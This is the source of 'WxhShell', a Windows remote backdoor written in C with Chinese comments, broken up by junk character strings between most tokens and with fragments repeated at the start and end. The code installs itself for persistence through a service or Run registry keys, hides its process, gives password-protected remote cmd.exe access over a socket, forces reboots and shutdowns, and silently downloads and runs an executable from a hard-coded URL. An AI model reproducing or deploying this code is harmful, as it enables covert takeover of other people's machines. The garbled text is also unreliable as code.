%LM 8QF`,oXQO HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gb 4pN if(NULL == hInst ) return 0; Z2p> n`D +t]Xj1Q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3s(Ia^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v8@eW.I1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @Fx@5e 8D~x\!(p\ if (!NtQueryInformationProcess) return 0; rt b* n~ k
dU!
kj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @]'SeiNp if(!hProcess) return 0; Z+idLbIs +?d} 7zh if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HDS"F.l5 97!5Q~I CloseHandle(hProcess); xl]
;*& =B(mIx;m hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?~F. / if(hProcess==NULL) return 0; 9L)L|4A.l I/p]DT HMODULE hMod; h~miP7,c<u char procName[255]; $TG?4 unsigned long cbNeeded; .JAcPyK^ &" h]y?Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "mZ.V ?R6`qe_F CloseHandle(hProcess); 0BTLcEqgZ ,Y!zORv<7 if(strstr(procName,"services")) return 1; // 以服务启动 @ajM^L!O 9]$`)wZ return 0; // 注册表启动 nl@E[yA9[ } xncwYOz B\_[R'Pf& // 主模块 f a5]a int StartWxhshell(LPSTR lpCmdLine) OFy,B-`A{ { a%K}j\M SOCKET wsl; QIA R BOOL val=TRUE; x9V {R9_gf int port=0; 5py R~+ struct sockaddr_in door; KQ)T(mIqp lbkLyp2 if(wscfg.ws_autoins) Install(); 0.DQO; s4,(26y port=atoi(lpCmdLine); <abKiXA" -p8e if(port<=0) port=wscfg.ws_port; ~A >oO-0K bK=c@GXS WSADATA data; PDC]wZd/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -g~~] K% \4s;!R! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H;I~N*ltJ( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mk= #\> door.sin_family = AF_INET; V0NVGRQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lt>7hBe" door.sin_port = htons(port); fNoR\5}! gX*K&*q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { knSuzq%* closesocket(wsl); =kFuJ
x)f return 1; _T]>/}}p } Q]\j>> ~`Sle
xK|} if(listen(wsl,2) == INVALID_SOCKET) { [ud|dwP" closesocket(wsl); .,mPdVof return 1; 4<}A]BQVkJ } ']?=[`#NL Wxhshell(wsl); Y6VQ:glDT- WSACleanup(); J
Jy{@[m C EqZ:c return 0; r~oSP^e' ct0v$ct>f } }1m_o@{3P "{(
[! // 以NT服务方式启动 ( V4G<-jG VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O5-;I,)H { (,LL[&;: DWORD status = 0; 'F5)ACA% DWORD specificError = 0xfffffff; :]c=pH F<r4CHfh; serviceStatus.dwServiceType = SERVICE_WIN32; ;r!\-]5$ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0w3b~RJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]{Ek[Av serviceStatus.dwWin32ExitCode = 0; xIgql}. serviceStatus.dwServiceSpecificExitCode = 0; c]v
+ serviceStatus.dwCheckPoint = 0; Taasi`
k serviceStatus.dwWaitHint = 0; kF-TG3 :`J>bHE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M=%!IT if (hServiceStatusHandle==0) return; 0j$OE hW%p#g; status = GetLastError(); \!w h[qEQ\ if (status!=NO_ERROR) z%};X$V`J { EcW1;wH serviceStatus.dwCurrentState = SERVICE_STOPPED; ^<;w+%[MT serviceStatus.dwCheckPoint = 0; Wk[)+\WQ? serviceStatus.dwWaitHint = 0; _,Q[2gQ5N serviceStatus.dwWin32ExitCode = status; !$r9C/k serviceStatus.dwServiceSpecificExitCode = specificError; 3bts7<K= SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^s*\Qw{Ii return; evOb } an KuTI h5!d serviceStatus.dwCurrentState = SERVICE_RUNNING; \)R-A
'*U serviceStatus.dwCheckPoint = 0; e\.HWV ]I serviceStatus.dwWaitHint = 0; |nm2Uy/0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ !5f"<FCB } K:w]>a (1 yGg==W. // 处理NT服务事件,比如:启动、停止 ,n5a] )Dg VOID WINAPI NTServiceHandler(DWORD fdwControl) h,]+ >`b { xjrlc9 switch(fdwControl) )E`+BH { oKiD8': case SERVICE_CONTROL_STOP: q?iCc c serviceStatus.dwWin32ExitCode = 0; b~as64 serviceStatus.dwCurrentState = SERVICE_STOPPED; ;[~^(.
f serviceStatus.dwCheckPoint = 0; xBWx+My serviceStatus.dwWaitHint = 0; UE7'B?
{ w `!LFHK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,Zb2" } w_H2gaQ return; 3{pk5_c case SERVICE_CONTROL_PAUSE: x@Vt[}e serviceStatus.dwCurrentState = SERVICE_PAUSED; 0n5!B..m} break; ^0Q'./A{& case SERVICE_CONTROL_CONTINUE: \G3!TwC% serviceStatus.dwCurrentState = SERVICE_RUNNING; [B,p,Q" break; 2 `&<bt[g case SERVICE_CONTROL_INTERROGATE: G>0)I break; f".q9{+p, }; ue9h SetServiceStatus(hServiceStatusHandle, &serviceStatus); M5u_2;3 } 6ZEdihBei h0XH`v // 标准应用程序主函数 Bb_Q_<DTs int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f9F2U
) { m&cvU>lC I-{^[p p // 获取操作系统版本 ~me\ OsIsNt=GetOsVer(); e>!E=J)j GetModuleFileName(NULL,ExeFile,MAX_PATH); kjX7- ZPY 4cB&Hk // 从命令行安装 B _tQeM if(strpbrk(lpCmdLine,"iI")) Install(); kp; &cQu! Nm"<!a<F // 下载执行文件 C9pnU,[ if(wscfg.ws_downexe) { tQ[]Rc if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X~zRZ0 WinExec(wscfg.ws_filenam,SW_HIDE); 6Pijvx^0 } HTN$ >QTI u
GIr&`S if(!OsIsNt) {
ol#yjrv // 如果时win9x,隐藏进程并且设置为注册表启动 4Pf+]R HideProc(); B~rU1Y) StartWxhshell(lpCmdLine); raF]
k0{ } e?1KbJ?. else m0C{SBn-M if(StartFromService()) 0@v2*\D# // 以服务方式启动 '$*[SauAG StartServiceCtrlDispatcher(DispatchTable); D&f!( n else %r P ! // 普通方式启动 S;h&5.p StartWxhshell(lpCmdLine); F-tFet
dm 2EH return 0; 9.]kOs_ } ,\}k~ U99 ()B7(Y ) H+d.Y ETg{yBsp =========================================== HSC6;~U h[,XemwX Oc~VHT H\d;QN9Q; lfgtcR {l5 S2bexbp0o " D@*|2 4y sy=dY@W^ #include <stdio.h> U\?+s2I)v #include <string.h> ,0,Oe=d #include <windows.h> i=V-@|Z #include <winsock2.h> zg)|rm #include <winsvc.h> d^y86pq. #include <urlmon.h> K?JV]^ +9jivOmK #pragma comment (lib, "Ws2_32.lib") ;da4\bppt #pragma comment (lib, "urlmon.lib") @Rf^P( tbS#^Y #define MAX_USER 100 // 最大客户端连接数 nAvs~J #define BUF_SOCK 200 // sock buffer Cg7)S[zl #define KEY_BUFF 255 // 输入 buffer c~37+^B: B/rzh? b #define REBOOT 0 // 重启 w#rVSSXQ3 #define SHUTDOWN 1 // 关机 :U8k|,~f }Wqtip:L #define DEF_PORT 5000 // 监听端口 IG&B2* U(!?d ]en #define REG_LEN 16 // 注册表键长度 _C5n Apb #define SVC_LEN 80 // NT服务名长度 ~7dF/Nn5 oHk27U G // 从dll定义API yduuFK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wZ
O@J| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^t7_3%%w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7<vy;"wB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !9PX\Xbn *iYMX[$ // wxhshell配置信息 vU7&'ca struct WSCFG { EFeAr@nj int ws_port; // 监听端口 T"IW Jpc char ws_passstr[REG_LEN]; // 口令 88#N~j~P int ws_autoins; // 安装标记, 1=yes 0=no B9AbKK$` char ws_regname[REG_LEN]; // 注册表键名 /RMer
Xj char ws_svcname[REG_LEN]; // 服务名 SbCJ|z#? char ws_svcdisp[SVC_LEN]; // 服务显示名 -GFwFkWm char ws_svcdesc[SVC_LEN]; // 服务描述信息 l-XnB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n~.% p int ws_downexe; // 下载执行标记, 1=yes 0=no [Zh2DNp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k5q(7&C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]M uF9={ URk$}_39 }; GG*BN<(>! &D)Hz // default Wxhshell configuration mcCB7<.
e struct WSCFG wscfg={DEF_PORT, X:DMT>5k "xuhuanlingzhe", @f\
X4!e*y 1, :bI,rEW#_ "Wxhshell", " xlJs93c "Wxhshell", }=TqJy1 "WxhShell Service", 9Il'E6
J "Wrsky Windows CmdShell Service", =#jTo|~u4o "Please Input Your Password: ", [+_\z',u 1, ]LMiMj "http://www.wrsky.com/wxhshell.exe", i:;$oT "Wxhshell.exe" a!&bc8J7 }; ?~{rf:Y ]bf' // 消息定义模块 7bHE!#L`0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =%xIjxYl char *msg_ws_prompt="\n\r? for help\n\r#>"; ta@ISRK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wQ@Zwbx char *msg_ws_ext="\n\rExit."; f]hBPkZ6 char *msg_ws_end="\n\rQuit."; 5VuCU char *msg_ws_boot="\n\rReboot..."; B5D3_iX] char *msg_ws_poff="\n\rShutdown..."; y)0gJP
L^ char *msg_ws_down="\n\rSave to "; <. ezw4ju r!CA2iK` char *msg_ws_err="\n\rErr!"; `d.Gw+Un char *msg_ws_ok="\n\rOK!"; F|9a}(-7
Ca$y819E2 char ExeFile[MAX_PATH]; x-tm[x@;o int nUser = 0; u6]gQP">I HANDLE handles[MAX_USER]; { 576+:* int OsIsNt; PE^eP}O1 9+W!k^VWq SERVICE_STATUS serviceStatus; RzMA\r;# SERVICE_STATUS_HANDLE hServiceStatusHandle; X #&(~1O w 7Cne%J8 // 函数声明 m9 ^m int Install(void); SlR7h$r' int Uninstall(void); ?56~yQF/2 int DownloadFile(char *sURL, SOCKET wsh); |C^
c0 int Boot(int flag); ^tQPJ void HideProc(void); cPV5^9\T int GetOsVer(void); /5&3WG&<u int Wxhshell(SOCKET wsl); E*Pz < void TalkWithClient(void *cs); | pF5`dX int CmdShell(SOCKET sock); 7k.d|<mRv int StartFromService(void); ]6jHIk| int StartWxhshell(LPSTR lpCmdLine); /j`i/Ha1 Og_2k
~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M?QQr~a VOID WINAPI NTServiceHandler( DWORD fdwControl ); }_Tt1iai* Iv Y,9D // 数据结构和表定义 |~7+/VvI+ SERVICE_TABLE_ENTRY DispatchTable[] = _3s~!2 { [8{_i?wY {wscfg.ws_svcname, NTServiceMain}, U+(Z#b(Q {NULL, NULL} (N)r#"FV }; :y4)qF <)r,CiS // 自我安装 0*/mc9 6 int Install(void) (xI)"{ { Tnzco char svExeFile[MAX_PATH]; z4 GN8:~x HKEY key; ,R7=]~<io" strcpy(svExeFile,ExeFile); SH .9!lQv Gw{Gt]liq // 如果是win9x系统,修改注册表设为自启动 b #o}=m if(!OsIsNt) { le
"JW/BD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &*Q|d*CP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rhlW RegCloseKey(key); 8<wtf]x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z'7 c^c7_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v!WU |=u RegCloseKey(key); M!;`(_2 return 0; W;xW:
- } SSl8 } ]2hF!{wc } RTdD]pE8Q else { 2hjre3"? (OM?aW // 如果是NT以上系统,安装为系统服务 .6lY*LI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y&ct+w]% if (schSCManager!=0) ujI 3tsl { u5[1Z|O SC_HANDLE schService = CreateService ?^+#pcX]t| ( 4d{"S02h schSCManager, r[C3u[ wscfg.ws_svcname, F{a0X0ru~ wscfg.ws_svcdisp, S!`4Bl SERVICE_ALL_ACCESS, @d8&3@{R^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Uv<LVd( SERVICE_AUTO_START, *7:u-}c! SERVICE_ERROR_NORMAL, [TiTff&LV svExeFile, w>H%[\Qs NULL, /K2.V@T NULL, ;o~+2Fir NULL, ~frPV8^DP NULL, `dG.L NULL @p9e:[ ); o$[a4I if (schService!=0) .ruz l(6 { rw}5nv CloseServiceHandle(schService); qv
;1$ CloseServiceHandle(schSCManager); ')1}#V/I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r|
6S strcat(svExeFile,wscfg.ws_svcname); HJ2]Nz:
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'O\d<F.c$2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H{Y5YTg] RegCloseKey(key); O+{pF.P#V return 0; j.
ks UJ } ims=-1, } Egjk^:@ CloseServiceHandle(schSCManager); iOX4Kl } 886 (' } {WM& teQaHe# return 1; .g(\B } Pq[0vZ_}dN NIWI6qCw // 自我卸载 =
C$@DNEc int Uninstall(void) o3\SO { 110>p HKEY key; ~vjr;a(B s= GOB"G if(!OsIsNt) { Mo/2,DiI5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"df13U" RegDeleteValue(key,wscfg.ws_regname); (>+k 3 RegCloseKey(key); 5tgILxSK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (DELxE RegDeleteValue(key,wscfg.ws_regname); Pi"tQyw39$ RegCloseKey(key); \@
WsF$
return 0; NbQMWU~7 } rH2tC=% } C>k;Mvq O } tLoD"/z else { :#Ex3H7 uV/HNzC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2RSHBo if (schSCManager!=0) 1"4nmw} { P"~qio- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _($-dJ{ if (schService!=0) yuy+}]uB@ { \KnD"0KW if(DeleteService(schService)!=0) { %Zv(gI`A CloseServiceHandle(schService); I 1VEm?CQ CloseServiceHandle(schSCManager); Q'Q72Fg return 0; q.,p6D } Ls$g-k%c@Q CloseServiceHandle(schService); &[W3e3Asra } *k@0:a(> CloseServiceHandle(schSCManager); 0]2B-o"kI } HhY2`P8 }
;f ;*Q>! p.TiTFu/ return 1; yTq(x4] } kj<D 4) iEJQ#5))0 // 从指定url下载文件 Ei?9M^w int DownloadFile(char *sURL, SOCKET wsh) ^*?B)D =, { wE8a4. HRESULT hr; /F8\%l+ char seps[]= "/"; xJF6l!` char *token; W:+2We @ char *file; oX:1 qJrC char myURL[MAX_PATH]; ZimMjZ%4 char myFILE[MAX_PATH]; 13>3R+o e2Kpx8kWj strcpy(myURL,sURL); (&Tb,H)= token=strtok(myURL,seps); :zn ?<(sQ while(token!=NULL) %9-#` { @cTZ`bg file=token; .^N#|hp^ token=strtok(NULL,seps); 8)q]^ } yZ(Nv $[5 yK>0[6l GetCurrentDirectory(MAX_PATH,myFILE); q:~`7I strcat(myFILE, "\\"); }96/:
;:k strcat(myFILE, file); 2t`9_zqLw send(wsh,myFILE,strlen(myFILE),0); M;vlQ"Yl' send(wsh,"...",3,0); He71h(BHm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M:1F@\< if(hr==S_OK) -RqAT 1 return 0; ,d [b"]Zy else O3w_vm' return 1; ZTPOD.:# M-qxD"VtV= } :'=~/GR Dxa)7dA| // 系统电源模块 T.m)c%]^/ int Boot(int flag) I;11j { "TH-A6v1 HANDLE hToken; O"s`-OM;n TOKEN_PRIVILEGES tkp; ^* /v,+01f ZNH*[[Pf if(OsIsNt) { GT\s!D;< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3RH#e1Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f{ 4G tkp.PrivilegeCount = 1; v[yTk[zd0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hZ\W ?r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U0bEB if(flag==REBOOT) { 'B<qG<> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m5;[,He return 0; {@K2WB } xMfv&q=k@ else { vL=--# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6`5
@E\"E return 0; #ZnX6=;X } `Py=
?[cD } 3_eml\CY else { ?o(X0 if(flag==REBOOT) { b\Xu1> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +_XbHjhN/ return 0; *ZSp9g"Z } u+tb83~[= else { e'?doP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~ew**@N return 0; t>h
i$NX{p } =|JIY } ]{6yS9_tuI vyx\N{ return 1; Lv5
==w} } 0qd;'r< ESf7b `tS // win9x进程隐藏模块 qpwh #^2 void HideProc(void) g(Xg%&@KZ { i6 ypx )! *M
71 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q3O .<9S if ( hKernel != NULL ) W0T
i ^@ { <pl2
dxy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %d#)({N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s$\8)V52 FreeLibrary(hKernel); B[_b J
* } >0+|0ba v7OV;ea$ return; cxJK>%84 } I/b8 $\@ V4 // 获取操作系统版本 ,t&-`U]AX int GetOsVer(void) tD0>(41K { [dF=1E>W_J OSVERSIONINFO winfo; w{O3P"N2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lnC Wu@{ GetVersionEx(&winfo); |tJ%:`DGw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #`L}. return 1; &eS70hq else g*c\'~f; return 0; /uz5V/i0 } ?N?pe} pr,1Wp0l // 客户端句柄模块 %iS]+Sa.K int Wxhshell(SOCKET wsl) (*WZsfk>/< { wukos5 SOCKET wsh; ?G>TaTiK# struct sockaddr_in client; _5S$mc8K0 DWORD myID; JTB~nd> l5OV!<7~X while(nUser<MAX_USER) g!Yh=kA'N { pfQZ|*>lkb int nSize=sizeof(client); *|#JFy?c[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tc2GI6]e' if(wsh==INVALID_SOCKET) return 1; tP(bRQ> ee0>B86tE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'U{:
zBh if(handles[nUser]==0) 3jeV4| closesocket(wsh); v4##(~Tu else n_&)VF#n( nUser++; @
h`Zn1; } H_=[~mJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9}0Jc(B/x "/Q(UV<d return 0; ]9< 9F ? } UpseU8Wo FRQ("6( // 关闭 socket jLS]^| void CloseIt(SOCKET wsh) {ro!OuA { 7`<? fO closesocket(wsh); X6*y/KGN nUser--; &r5%WRzpYT ExitThread(0); mL5f_Fb+ } [%,=0P} PyxN _agf // 客户端请求句柄
mFoK76 void TalkWithClient(void *cs) DSZhl-uGM { AbI*/|sY dB/I2uGl> SOCKET wsh=(SOCKET)cs; !3Z|!JY char pwd[SVC_LEN]; L\b_,'I char cmd[KEY_BUFF]; 8[`<u[Iv char chr[1]; `[:1!I.}- int i,j; YIUmCx0a &Wz:-G7<n while (nUser < MAX_USER) { i{[H3p8 ',s7h" if(wscfg.ws_passstr) { P(nHXVSUE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PjZvLK@a9) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #I~dv{RX //ZeroMemory(pwd,KEY_BUFF); PH%gX`N i=0; WM
)g(i~( while(i<SVC_LEN) { QR$sIu@% Or)c*.|\ // 设置超时 n]c,0N fd_set FdRead; Wc;D{p?Lb struct timeval TimeOut; JU1; /3( FD_ZERO(&FdRead); #&c;RPac!6 FD_SET(wsh,&FdRead); HFWm}vA: TimeOut.tv_sec=8; &:f'{>3z TimeOut.tv_usec=0; #( J}xz; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VD`2lGdF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p)&\>
l"y9XO| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [\n.[4gq" pwd=chr[0]; `3P62M< if(chr[0]==0xd || chr[0]==0xa) { K5rj!*x.o pwd=0; \1'R}B@; break; I>~BkR+u%o } VgoKi i++; "hY^[@7 W } [m[~A|S <U`Nb) & // 如果是非法用户,关闭 socket tS|zf,7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^l9
*h } jV&W[xKa 1V$B^/ _ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -"9)c^KVx send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ']e4! Xtnmh)'K~# while(1) { 'z!#E!i v+o3r]Y6 ZeroMemory(cmd,KEY_BUFF); bJ!f,a'/ {:OVBX // 自动支持客户端 telnet标准 r74w[6( j=0; s(Bi&C\ while(j<KEY_BUFF) { 0MGK3o) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7gmMqz"z(> cmd[j]=chr[0]; *`'%tp"'+ if(chr[0]==0xa || chr[0]==0xd) { ,8?*U]} cmd[j]=0; IVODR break; Cs=i9.-A } =C1Qo#QQ% j++; jN>UW}? } Y,}43a0A J
uKaRR~ // 下载文件 D|3QLG if(strstr(cmd,"http://")) { CGl+!t{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); irj}:f;!eF if(DownloadFile(cmd,wsh)) 3edK$B51; send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vzm7xl [ else ZaindX{.1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6.=1k } R!xc$`N else { v~QZO4[' d}J#wT switch(cmd[0]) { wk/U"@lq Q 5TyS8 // 帮助 :u93yH6~8 case '?': { -z1o~~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 30`H
Xv@ break; m]pvJJ@ } <QLj6#d7Y // 安装 )@M|YM1+ case 'i': { RM$S|y{L if(Install()) me\)JCZpb{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5*Iz3vTq else ')~HOCBSE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s5#g[}dj break; 824%]i3 } :$d 3a"] // 卸载 1nG"\I5N} case 'r': { rVmO/Y#Hx$ if(Uninstall()) s7LX send(wsh,msg_ws_err,strlen(msg_ws_err),0); aKcV39brr else Q-CVq_\3I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7@]hu^)rry break; 2mG?ve%m) } e{S`iO // 显示 wxhshell 所在路径 .AS,]*?Zn% case 'p': { R_DQtLI char svExeFile[MAX_PATH]; NPab M(<` strcpy(svExeFile,"\n\r"); PmTd+Gj$ strcat(svExeFile,ExeFile); -W vAmi send(wsh,svExeFile,strlen(svExeFile),0); |8ZAE%/d break; =5F49 } lph_cY3p // 重启 P~>nlm82] case 'b': { EJY:C9W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l]cQ7g5 if(Boot(REBOOT)) y+h=x4t send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9M
y>8k( else { EatDT*! closesocket(wsh); aW5~z^I ExitThread(0); i?9Lf } Pw1H)<X
break; kp"cHJNx } =2'^:4Z // 关机 0Z(b/fdS case 'd': { VlvDodV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VQ`O;n6/` if(Boot(SHUTDOWN)) _~"3
LB send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Kf@/jv else { aS2
Y6 closesocket(wsh); _:
x$"i ExitThread(0); V4D&&0&n } VNPdL break; _95tgJ y } ${3OQG // 获取shell r&;AG@N/ case 's': { hw2Hn
CmdShell(wsh); ](pD<FfS]' closesocket(wsh); -n-X/M ExitThread(0); E>v~B;@ break; E"!*ASN } $!lxVZ> // 退出 &*~
WK case 'x': { `dhK$jYD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h#9)M CloseIt(wsh); dRmTE break; yKJp37R } l71\II // 离开 C: cu1Y9 case 'q': { =?hlgQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); #'oKkrl closesocket(wsh); [g_@<?zg WSACleanup(); ]2'~e,"O exit(1); TB\CSXb break; .X9^ A,9 } 3ji#"cX }
!JA63 } 5+J/Qm8{bb A`Nb"N$H13 // 提示信息 4g9VE;Gd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6(=:j"w0 } TvR2lP } WMg^W( Sl#XJ0 g return; <rI~+J]s } czzV2P/t} ] $*cmk(Y // shell模块句柄 &0`L; 1R int CmdShell(SOCKET sock) q ^?{6}sy { R<)uvW_@ STARTUPINFO si; +Xk!)Ge5E* ZeroMemory(&si,sizeof(si)); n:+MNr si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '7^_$M3$\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :|g{gi PROCESS_INFORMATION ProcessInfo; -rfO"D> char cmdline[]="cmd"; V !$m{)Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rX[R`,`>Z[ return 0; O%I' } *`W82V ZmDr$iU~ // 自身启动模式 f!yxS?j3 int StartFromService(void) !p2&$s"N. { n8Fi?/ typedef struct Jor?;qo3 { STMcMm3 DWORD ExitStatus; %lxo?s@GE DWORD PebBaseAddress; 01$SvLn: DWORD AffinityMask; $H}Q"^rs DWORD BasePriority; <t Nx*ce5 ULONG UniqueProcessId; jZGmTtx ULONG InheritedFromUniqueProcessId; 9}-,dgAB } PROCESS_BASIC_INFORMATION; +qdK]RR} j:#[voo7 PROCNTQSIP NtQueryInformationProcess; uIu0"pv`x @`{UiTNX` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -3Ffk: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7iJlW&W Kh> ^;`h HANDLE hProcess; x;I*Ho PROCESS_BASIC_INFORMATION pbi; P~&X$H%e T-MLW=Vu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yr!3mU-Uvt if(NULL == hInst ) return 0; p0/I}n4<5n >9DgsA`' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AjpQb~\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1g@kHq NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lUrchLoDt rRMC<.= if (!NtQueryInformationProcess) return 0; #q-t!C%E [|3
%~s|Sv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v1:5r if(!hProcess) return 0; I;7VX5X h*Ej}_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SWu=n1J.?H
84k;d; CloseHandle(hProcess); Y9C] -zEv zr,jaR; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cpr}*A
